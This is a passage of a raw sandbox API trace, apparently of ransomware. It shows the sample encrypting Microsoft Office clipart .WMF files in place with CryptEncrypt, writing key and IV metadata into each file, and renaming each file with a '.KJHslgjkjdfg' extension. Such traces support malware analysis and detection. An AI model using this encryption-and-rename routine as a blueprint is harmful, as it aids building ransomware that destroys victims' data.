[0187.882] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa79c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa79c, lpOverlapped=0x0) returned 1 [0187.884] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa7a0, dwBufLen=0xa7a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa7a0) returned 1 [0187.884] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.884] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa7a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa7a0, lpOverlapped=0x0) returned 1 [0187.885] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.885] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa874, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.885] SetEndOfFile (hFile=0x130) returned 1 [0187.888] GetProcessHeap () returned 0x990000 [0187.888] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.888] GetProcessHeap () returned 0x990000 [0187.888] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.888] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf.kjhslgjkjdfg")) returned 1 [0187.890] CloseHandle (hObject=0x130) returned 1 [0187.890] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4ecd00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba4ecd00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00419_.WMF", cAlternateFileName="")) returned 1 [0187.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.890] GetProcessHeap () returned 0x990000 [0187.890] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.890] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.891] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.891] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.892] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.892] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.892] GetProcessHeap () returned 0x990000 [0187.892] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.892] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.892] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.892] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.892] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.892] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.892] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.893] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.893] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.893] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.893] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.893] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.893] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2c8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2c8, lpOverlapped=0x0) returned 1 [0187.893] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2d0) returned 1 [0187.893] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.893] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2d0, lpOverlapped=0x0) returned 1 [0187.893] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.893] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.893] SetEndOfFile (hFile=0x130) returned 1 [0187.895] GetProcessHeap () returned 0x990000 [0187.895] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.895] GetProcessHeap () returned 0x990000 [0187.895] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.895] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf.kjhslgjkjdfg")) returned 1 [0187.896] CloseHandle (hObject=0x130) returned 1 [0187.896] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91da000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb91da000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x78c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00437_.WMF", cAlternateFileName="")) returned 1 [0187.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.897] GetProcessHeap () returned 0x990000 [0187.897] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.897] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.897] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.897] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.116] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.116] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.116] GetProcessHeap () returned 0x990000 [0188.117] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.117] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.117] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.125] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.125] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.125] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.125] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.125] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.125] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.126] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.126] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.126] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.126] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x78c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x78c, lpOverlapped=0x0) returned 1 [0188.126] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x790, dwBufLen=0x790 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x790) returned 1 [0188.126] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.126] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x790, lpOverlapped=0x0) returned 1 [0188.126] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.126] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.126] SetEndOfFile (hFile=0x130) returned 1 [0188.129] GetProcessHeap () returned 0x990000 [0188.129] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.129] GetProcessHeap () returned 0x990000 [0188.129] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.129] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf.kjhslgjkjdfg")) returned 1 [0188.130] CloseHandle (hObject=0x130) returned 1 [0188.130] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00448_.WMF", cAlternateFileName="")) returned 1 [0188.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.135] GetProcessHeap () returned 0x990000 [0188.135] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.135] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.135] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.135] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.137] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.137] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.137] GetProcessHeap () returned 0x990000 [0188.137] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.138] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.138] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.138] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.138] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.138] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.138] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.138] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.138] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.138] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.138] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.138] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.138] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb88, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xb88, lpOverlapped=0x0) returned 1 [0188.139] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb90, dwBufLen=0xb90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb90) returned 1 [0188.139] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.139] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xb90, lpOverlapped=0x0) returned 1 [0188.139] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.139] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.139] SetEndOfFile (hFile=0x130) returned 1 [0188.142] GetProcessHeap () returned 0x990000 [0188.142] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.142] GetProcessHeap () returned 0x990000 [0188.142] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.142] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf.kjhslgjkjdfg")) returned 1 [0188.143] CloseHandle (hObject=0x130) returned 1 [0188.143] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2708, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00449_.WMF", cAlternateFileName="")) returned 1 [0188.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.144] GetProcessHeap () returned 0x990000 [0188.144] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.144] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.144] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.144] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.146] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.146] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.146] GetProcessHeap () returned 0x990000 [0188.146] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.146] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.146] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.146] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.147] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.147] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.147] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.147] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.147] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.147] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.147] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.147] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.147] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2708, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2708, lpOverlapped=0x0) returned 1 [0188.148] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2710, dwBufLen=0x2710 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2710) returned 1 [0188.148] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.149] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2710, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2710, lpOverlapped=0x0) returned 1 [0188.149] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.149] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x27e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.149] SetEndOfFile (hFile=0x130) returned 1 [0188.151] GetProcessHeap () returned 0x990000 [0188.152] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.152] GetProcessHeap () returned 0x990000 [0188.152] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.152] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: 